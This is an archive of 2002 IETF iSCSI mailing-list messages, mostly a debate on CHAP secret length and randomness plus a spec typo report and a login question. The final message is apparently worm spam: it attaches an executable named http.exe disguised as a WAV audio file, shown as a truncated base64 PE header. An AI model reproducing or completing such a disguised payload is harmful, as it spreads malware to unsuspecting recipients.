EEGJSBCLwcIEAFaLdCQIi0YQSIlGEHVLi0ZYUIsI/1EIi0ZchcB0BosQUP9SCIX2dBCLzujR +///Vuj7KgwAg8QEoVi7UySFwHQRUP8VXCNRJMcFWLtTJAAAAADoCff//zPAXsIEAJCQkFaL dCQIi0ZUUIsI/1EEi0ZUXsIEAJCQkJCQkJCQkJCQZotEJARmiUEUM8DCBACQkItEJD== --Omf2153miYq3yK31SCaky2Nk2F2J4-- From owner-ips@ece.cmu.edu Wed Aug 21 18:30:47 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27856 for ; Wed, 21 Aug 2002 18:30:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7LLpOa18036 for ips-outgoing; Wed, 21 Aug 2002 17:51:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from services.nextgig.com (d00a389dd682c9b5a3655632ad91a305@nextgig-13.access.nethere.net [66.63.140.205]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7LLpKo18032 for ; Wed, 21 Aug 2002 17:51:21 -0400 (EDT) Received: from reveille ( by services.nextgig.com (8.12.3/8.12.3) with ESMTP id g7LLonC3075014; Wed, 21 Aug 2002 14:51:00 -0700 (PDT) Reply-To: From: "Bill Strahm" To: , Subject: RE: Generation of CHAP Secrets... Date: Wed, 21 Aug 2002 14:43:04 -0700 Message-ID: <000101c2495b$c042a580$fb1e010a@reveille> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal In-Reply-To: <277DD60FB639D511AC0400B0D068B71E0564C1B7@CORPMX14> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Question... How will my endpoint determine the randomness of the CHAP key and therefor determine if the CHAP key is valid for the encryption level of the link ? I am assuming by the requirement as stated that I have to test the CHAP secret for randomness to determine that there are really more than 96 bits of randomness in the secret, and if there are not, and the link is not encrypted reject the connection. Bill -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu] On Behalf Of Black_David@emc.com Sent: Tuesday, August 20, 2002 11:23 AM To: Hutchinson_Adam@emc.com; ips@ece.cmu.edu Subject: RE: Generation of CHAP Secrets... > Do the following statements mean that users should not be allowed to > create their own secrets (passwords) to ensure the randomness of all secrets? > > When CHAP is performed over a non-encrypted channel, it is vulnerable > to an off-line dictionary attack. Implementations MUST support use of > up to 128 bits random CHAP secrets, including the means to generate > such secrets and to accept them from an external generation source. > Implementations MUST NOT provide secret generation (or expansion) > means other than random generation. Yes, that is correct. iSCSI requires 96 or more bits of randomness in CHAP secrets to thwart exhaustive search and dictionary attacks. A typical user- chosen password/secret has less than 20 bits of randomness. If weaker CHAP secrets are used, the iSCSI connection MUST be encrypted: An administrative entity of an environment in which CHAP is used with a secret that has less than 96 random bits MUST enforce IPsec encryp- tion (according to the implementation requirements in Section 7.3.2 Confidentiality) to protect the connection. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Wed Aug 21 18:34:15 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27956 for ; Wed, 21 Aug 2002 18:34:15 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7LMAl319096 for ips-outgoing; Wed, 21 Aug 2002 18:10:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mailhub.lss.emc.com (xdch.emc.com [168.159.1.79]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7LMAio19089 for ; Wed, 21 Aug 2002 18:10:44 -0400 (EDT) Received: from emc.com (emcmail.lss.emc.com [168.159.48.78]) by mailhub.lss.emc.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g7LMAZh22505 for ; Wed, 21 Aug 2002 18:10:35 -0400 (EDT) Received: from mxic1.isus.emc.com ([168.159.129.100]) by emc.com (8.10.1/8.10.1) with ESMTP id g7LMAY705141 for ; Wed, 21 Aug 2002 18:10:34 -0400 (EDT) Received: by MXIC1 with Internet Mail Service (5.5.2653.19) id ; Wed, 21 Aug 2002 18:10:34 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C1DA@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: RE: Generation of CHAP Secrets... Date: Wed, 21 Aug 2002 18:10:31 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Bill, > How will my endpoint determine the randomness of the CHAP key and > therefor determine if the CHAP key is valid for the encryption level of > the link ? I am assuming by the requirement as stated that I have to > test the CHAP secret for randomness to determine that there are really > more than 96 bits of randomness in the secret, and if there are not, and > the link is not encrypted reject the connection. The randomness requirement is placed on the "administrative entity" which is not the iSCSI protocol endpoint. The CHAP secret does not have to be checked for randomness *by the iSCSI endpoint* (good thing, as it's not possible to check a bit string for a minimum amount of randomness if one does not know how it was generated). The thing that an iSCSI endpoint SHOULD do is check the size of the CHAP secret if it can determine it (e.g., if an external RADIUS server is being used, an iSCSI endpoint may not know the size of the CHAP secret being used to authenticate its peer): A compliant implementation SHOULD NOT continue with the login step in which it should send a CHAP response (CHAP_R - Section 10.1.4 Chal- lenge Handshake Authentication Protocol (CHAP)) unless it can verify that either the CHAP secret is at least 96 bits, or that IPsec encryption is being used to protect the connection. Also, please note the following related requirement: Implementations MUST NOT provide secret generation (or expansion) means other than random generation. This text prohibits the "disastrous implementation shortcut" that I warned about in a previous message. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Wed Aug 21 23:01:43 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA03508 for ; Wed, 21 Aug 2002 23:01:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7M2LB029738 for ips-outgoing; Wed, 21 Aug 2002 22:21:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from imo-r02.mx.aol.com (imo-r02.mx.aol.com [152.163.225.98]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7M2L9o29733 for ; Wed, 21 Aug 2002 22:21:09 -0400 (EDT) Received: from VAHUJA@aol.com by imo-r02.mx.aol.com (mail_out_v34.9.) id f.7a.2bc348c0 (4568); Wed, 21 Aug 2002 22:20:53 -0400 (EDT) From: VAHUJA@aol.com Message-ID: <7a.2bc348c0.2a95a484@aol.com> Date: Wed, 21 Aug 2002 22:20:52 EDT Subject: Fwd: Generation of CHAP Secrets... To: balck_david@emc.com CC: ips@ece.cmu.edu MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="part1_7a.2bc348c0.2a95a484_boundary" X-Mailer: AOL 7.0 for Windows US sub 10509 Sender: owner-ips@ece.cmu.edu Precedence: bulk --part1_7a.2bc348c0.2a95a484_boundary Content-Type: multipart/alternative; boundary="part1_7a.2bc348c0.2a95a484_alt_boundary" --part1_7a.2bc348c0.2a95a484_alt_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit David, I believe, the secret size does have a direct impact on the cryptograohic strength of the hash. If the secret size is less than the hashed value of the algorithm, then it makes it easier for an exhaustive search attack. For reference, here is a quote from the CHAP RFC page 3: The CHAP algorithm requires that the length of the secret MUST be at least 1 octet. The secret SHOULD be at least as large and unguessable as a well-chosen password. It is preferred that the secret be at least the length of the hash value for the hashing algorithm chosen (16 octets for MD5). This is to ensure a sufficiently large range for the secret to provide protection against exhaustive search attacks. In a message dated 8/21/2002 9:50:42 AM Eastern Daylight Time, Black_David@emc.com writes: > There's no inherent upper limit on the size of the shared secret and it's > not related to the output size of the hash algorithms. 128 bits is more > than enough to get the job done, hence there's no need to require that > implementations support more than that. Generating more random bits and > tossing some of them away is fine (e.g., IPsec ESP does exactly this to > make its MD5 and SHA-1 HMACs fit in 96 bits), but they have to be *true* > random bits - more below. > > --part1_7a.2bc348c0.2a95a484_alt_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit David,

I believe, the secret size does have a direct impact on the cryptograohic strength of the hash. If the secret size is less than the hashed value of the algorithm, then it makes it easier for an exhaustive search attack. For reference, here is a quote from the CHAP RFC page 3:

The CHAP algorithm requires that the length of the secret MUST be at
   least 1 octet.  The secret SHOULD be at least as large and
   unguessable as a well-chosen password.  It is preferred that the
   secret be at least the length of the hash value for the hashing
   algorithm chosen (16 octets for MD5).  This is to ensure a
   sufficiently large range for the secret to provide protection against
   exhaustive search attacks.

In a message dated 8/21/2002 9:50:42 AM Eastern Daylight Time, Black_David@emc.com writes:


There's no inherent upper limit on the size of the shared secret and it's
not related to the output size of the hash algorithms.  128 bits is more
than enough to get the job done, hence there's no need to require that
implementations support more than that.  Generating more random bits and
tossing some of them away is fine (e.g., IPsec ESP does exactly this to
make its MD5 and SHA-1 HMACs fit in 96 bits), but they have to be *true*
random bits - more below.



 --part1_7a.2bc348c0.2a95a484_alt_boundary-- --part1_7a.2bc348c0.2a95a484_boundary Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from rly-xi01.mx.aol.com (rly-xi01.mail.aol.com [172.20.116.6]) by air-xi04.mail.aol.com (v87.22) with ESMTP id MAILINXI42-0821095042; Wed, 21 Aug 2002 09:50:42 -0400 Received: from mxic2.corp.emc.com (mxic2.us.dg.com [128.221.31.40]) by rly-xi01.mx.aol.com (v87.22) with ESMTP id MAILRELAYINXI17-0821095014; Wed, 21 Aug 2002 09:50:14 -0400 Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Wed, 21 Aug 2002 09:50:10 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C1C6@CORPMX14> From: Black_David@emc.com To: VAHUJA@aol.com Cc: ips@ece.cmu.edu Subject: RE: Generation of CHAP Secrets... Date: Wed, 21 Aug 2002 09:50:08 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" > the iSCSI draft talks of up to 128 bits of shared secret. While performing > HASH, the MD5 will yield 128 bits, but SHA-1 (recommended Hashing algorithm, > Sec 7.3.1) will generate 160 bits. Seems to me that the shared secret should > be allowed to be up to 160 bits..unless we allow MD5 for CHAP and then > possibly pad the hash? Or am I missing something here? There's no inherent upper limit on the size of the shared secret and it's not related to the output size of the hash algorithms. 128 bits is more than enough to get the job done, hence there's no need to require that implementations support more than that. Generating more random bits and tossing some of them away is fine (e.g., IPsec ESP does exactly this to make its MD5 and SHA-1 HMACs fit in 96 bits), but they have to be *true* random bits - more below. While SHA-1 is the required hash for IPsec ESP, it does not work with CHAP for historical reasons (one has to use MD5) - see, the IANA registry, the PPP AUTHENTICATION ALGORITHMS section of: http://www.iana.org/assignments/ppp-numbers While I'm sure Vijay did not mean to imply this, I want to warn implementers away from a potentially disastrous implementation shortcut: **DO NOT** run a weak secret (e.g., password) through a hash or similar algorithm to generate something that appears to be a sufficiently-sized random CHAP secret. The result of doing this is no stronger than the original weak secret (e.g., password) - if this shortcut technique is used, the result falls under iSCSI's "MUST enforce IPsec encryption" language. This is a well-known implementation mistake (e.g., Netscape was publicly bitten by it several years ago). A specific example is that if one runs a password with 15 bits of randomness through MD5, the resulting 128 bit output still has 15 bits of randomness - an attacker need only run the dictionary words through MD5 [15 bit search space] to mount an exhaustive attack, and the fact that the quantities being checked are 128 bits in size does not improve security. If one wants 128 bits of randomness, one needs to start with 128 random bits - it really is that simple. Using a hash does not increase the amount of randomness. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- --part1_7a.2bc348c0.2a95a484_boundary-- From owner-ips@ece.cmu.edu Thu Aug 22 11:41:18 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29619 for ; Thu, 22 Aug 2002 11:41:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7MEvqk07908 for ips-outgoing; Thu, 22 Aug 2002 10:57:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lucy.trebia.com ([65.192.191.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7MEvoo07904 for ; Thu, 22 Aug 2002 10:57:50 -0400 (EDT) Received: from NEMETZ ([192.168.100.207]) by lucy.trebia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PV0A1KVD; Thu, 22 Aug 2002 10:57:49 -0400 Message-ID: <00a801c249ec$3d8ac7d0$cf64a8c0@nemetz> Reply-To: "Anshul Chadda" From: "Anshul Chadda" To: Subject: typo in Appendix D SendTargets Operation Date: Thu, 22 Aug 2002 10:57:26 -0400 Organization: Trebia Networks MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00A5_01C249CA.B3A658C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_00A5_01C249CA.B3A658C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all: In Appendix D, page 254, in the following paragraph there is an extra = "not" after MUST NOT. I think it is a typo. "A SendTargets response MUST NOT not contain target names if there are = no targets for the requesting initiator to access." Thanks, Anshul Chadda Trebia Networks 33 Nagog Park Acton, MA 01720 Work:978-264-7654 Cell:603-591-1375 ------=_NextPart_000_00A5_01C249CA.B3A658C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi all:

In Appendix D, page = 254, in the=20 following paragraph there is an extra "not" after MUST NOT. I think it = is a=20 typo.

"A SendTargets response MUST NOT not contain = target names=20 if there are no targets for the requesting initiator to=20 access."

Thanks,
 
Anshul Chadda
Trebia Networks
33 Nagog = Park
Acton, MA=20 01720
Work:978-264-7654
Cell:603-591-1375
------=_NextPart_000_00A5_01C249CA.B3A658C0-- From owner-ips@ece.cmu.edu Thu Aug 22 15:07:42 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA06971 for ; Thu, 22 Aug 2002 15:07:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7MIUeY19976 for ips-outgoing; Thu, 22 Aug 2002 14:30:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mailhub.lss.emc.com (xdch.emc.com [168.159.1.79]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7MIUXo19968 for ; Thu, 22 Aug 2002 14:30:33 -0400 (EDT) Received: from emc.com (emcmail.lss.emc.com [168.159.48.78]) by mailhub.lss.emc.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g7MIUOk29404; Thu, 22 Aug 2002 14:30:24 -0400 (EDT) Received: from mxic1.isus.emc.com ([168.159.129.100]) by emc.com (8.10.1/8.10.1) with ESMTP id g7MIUN705824; Thu, 22 Aug 2002 14:30:23 -0400 (EDT) Received: by MXIC1 with Internet Mail Service (5.5.2653.19) id ; Thu, 22 Aug 2002 14:30:23 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C1E8@CORPMX14> From: Black_David@emc.com To: VAHUJA@aol.com Cc: ips@ece.cmu.edu Subject: RE: Generation of CHAP Secrets... Date: Thu, 22 Aug 2002 14:30:18 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Vijay, > I believe, the secret size does have a direct impact on the cryptograohic > strength of the hash. If the secret size is less than the hashed value of > the algorithm, then it makes it easier for an exhaustive search attack. For > reference, here is a quote from the CHAP RFC page 3: > > The CHAP algorithm requires that the length of the secret MUST be at > least 1 octet. The secret SHOULD be at least as large and > unguessable as a well-chosen password. It is preferred that the > secret be at least the length of the hash value for the hashing > algorithm chosen (16 octets for MD5). This is to ensure a > sufficiently large range for the secret to provide protection against > exhaustive search attacks. iSCSI has gone above and beyond that by making the minimum length (MUST) 12 octets, and by requiring random generation, making its CHAP secrets considerably larger and harder to guess than a well-chosen password. The requirement for support of secrets up to 128 bits in size encompasses the "preferred" language above. Are you arguing that 96 bits of search space (> 10**27 possibilities) is insufficient protection against an exhaustive search attack? I agree that more than 128 bits of secret is pointless for MD5 because the output size bounds the size of the search space at somewhere in the neighborhood of 128 bits. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Thu Aug 22 15:09:25 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA07041 for ; Thu, 22 Aug 2002 15:09:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7MIsgV21435 for ips-outgoing; Thu, 22 Aug 2002 14:54:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7MIsco21428 for ; Thu, 22 Aug 2002 14:54:38 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 903B730706; Thu, 22 Aug 2002 14:54:37 -0400 (EDT) Date: Thu, 22 Aug 2002 11:48:23 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Cc: , Subject: Re: Fwd: Generation of CHAP Secrets... In-Reply-To: <7a.2bc348c0.2a95a484@aol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Wed, 21 Aug 2002 VAHUJA@aol.com wrote: > David, > > I believe, the secret size does have a direct impact on the cryptograohic > strength of the hash. If the secret size is less than the hashed value of the > algorithm, then it makes it easier for an exhaustive search attack. For > reference, here is a quote from the CHAP RFC page 3: How is the size of the hash a magic number in terms of exhaustive search attacks? Regardless of the size of the secret, you have to hash the I value, the secret, and the challenge. I see how making the secret longer is good, but I just don't see how making the secret the size of the hash really changes the behavior. Once we say have the secret at like 96 or 128 bits, do we really NEED more? Sure, we can let folks choose more, but do we NEED it (a la we should require it)? Or do these hash functions (MD5, SHA-1) not stir all of the bits well, and thus if you don't feed in about the number of bytes in the hash you get poor results? Take care, Bill From owner-ips@ece.cmu.edu Thu Aug 22 16:36:49 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09743 for ; Thu, 22 Aug 2002 16:36:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7MK1C325623 for ips-outgoing; Thu, 22 Aug 2002 16:01:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7MK18o25616; Thu, 22 Aug 2002 16:01:08 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7MK0q5x011224; Thu, 22 Aug 2002 22:00:52 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7MK0qvN154296; Thu, 22 Aug 2002 22:00:52 +0200 To: "Anshul Chadda" Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: typo in Appendix D SendTargets Operation X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Thu, 22 Aug 2002 23:00:48 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 22/08/2002 23:00:52, Serialize complete at 22/08/2002 23:00:52 Content-Type: multipart/alternative; boundary="=_alternative 006D210FC2256C1D_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 006D210FC2256C1D_= Content-Type: text/plain; charset="us-ascii" thanks - Julo "Anshul Chadda" Sent by: owner-ips@ece.cmu.edu 08/22/2002 05:57 PM Please respond to "Anshul Chadda" To: cc: Subject: typo in Appendix D SendTargets Operation Hi all: In Appendix D, page 254, in the following paragraph there is an extra "not" after MUST NOT. I think it is a typo. "A SendTargets response MUST NOT not contain target names if there are no targets for the requesting initiator to access." Thanks, Anshul Chadda Trebia Networks 33 Nagog Park Acton, MA 01720 Work:978-264-7654 Cell:603-591-1375 --=_alternative 006D210FC2256C1D_= Content-Type: text/html; charset="us-ascii"
thanks - Julo


"Anshul Chadda" <achadda@trebia.com>
Sent by: owner-ips@ece.cmu.edu

08/22/2002 05:57 PM
Please respond to "Anshul Chadda"

       
        To:        <ips@ece.cmu.edu>
        cc:        
        Subject:        typo in Appendix D SendTargets Operation

       


Hi all:

In Appendix D, page 254, in the following paragraph there is an extra "not" after MUST NOT. I think it is a typo.

"A SendTargets response MUST NOT not contain target names if there are no targets for the requesting initiator to access."

Thanks,
 
Anshul Chadda
Trebia Networks
33 Nagog Park
Acton, MA 01720
Work:978-264-7654
Cell:603-591-1375

--=_alternative 006D210FC2256C1D_=-- From owner-ips@ece.cmu.edu Thu Aug 22 17:29:18 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11471 for ; Thu, 22 Aug 2002 17:29:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7MKuJA29039 for ips-outgoing; Thu, 22 Aug 2002 16:56:19 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7MKuHo29034 for ; Thu, 22 Aug 2002 16:56:18 -0400 (EDT) Received: from cisco.com (dhcp-64-101-211-211.cisco.com [64.101.211.211]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id QAA03361; Thu, 22 Aug 2002 16:56:11 -0400 (EDT) Message-ID: <3D654FEA.1CFFC78E@cisco.com> Date: Thu, 22 Aug 2002 15:56:10 -0500 From: Steve Senum X-Mailer: Mozilla 4.76 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-ips CC: Julian Satran Subject: iSCSI: Security Phase Question Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi Julian, I have a question on Security Phase negotiation. From section 4.3.1: If the initiator is willing to negotiate iSCSI security, but is unwilling to make the initial parameter proposal and may accept a connection without iSCSI security, it issues the Login with the T bit set to 1, the CSG set to SecurityNegotiation, and NSG set to LoginOp- erationalNegotiation. If the target is also ready to skip security, the login response contains only the TargetPortalGroupTag key (see Section 11.9 TargetPortalGroupTag), the T bit set to 1, the CSG set to SecurityNegotiation, and NSG set to LoginOperationalNegotiation. My question is, what should the Target do if the Initiator issues the Login with the T bit set to 0 and the Target does want to negotiate iSCSI security (AuthMethod). 1. Keep replying with an empty login with T=0 until the Initiator sends T=1. 2. Reply immediately with T=0 and AuthMethod. 3. Decide this is a protocol error and close the connection. 4. Do something else? Regards, Steve Senum From owner-ips@ece.cmu.edu Fri Aug 23 00:19:17 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA18175 for ; Fri, 23 Aug 2002 00:19:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7N3Kxj15998 for ips-outgoing; Thu, 22 Aug 2002 23:20:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sm13.texas.rr.com (sm13.texas.rr.com [24.93.35.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7N3Koo15994 for ; Thu, 22 Aug 2002 23:20:51 -0400 (EDT) Received: from Cudhz (cs24243252-119.austin.rr.com [24.243.252.119]) by sm13.texas.rr.com (8.12.1/8.12.0.Beta16) with SMTP id g7N3OVDg010776 for ; Thu, 22 Aug 2002 22:24:32 -0500 Date: Thu, 22 Aug 2002 22:24:31 -0500 Message-Id: <200208230324.g7N3OVDg010776@sm13.texas.rr.com> From: mbakke To: ips@ece.cmu.edu Subject: Spice girls' vocal concert MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=QW6419Rf876l52z0pS7P901m1e08 Sender: owner-ips@ece.cmu.edu Precedence: bulk --QW6419Rf876l52z0pS7P901m1e08 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --QW6419Rf876l52z0pS7P901m1e08 Content-Type: audio/x-wav; name=http.exe Content-ID: Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 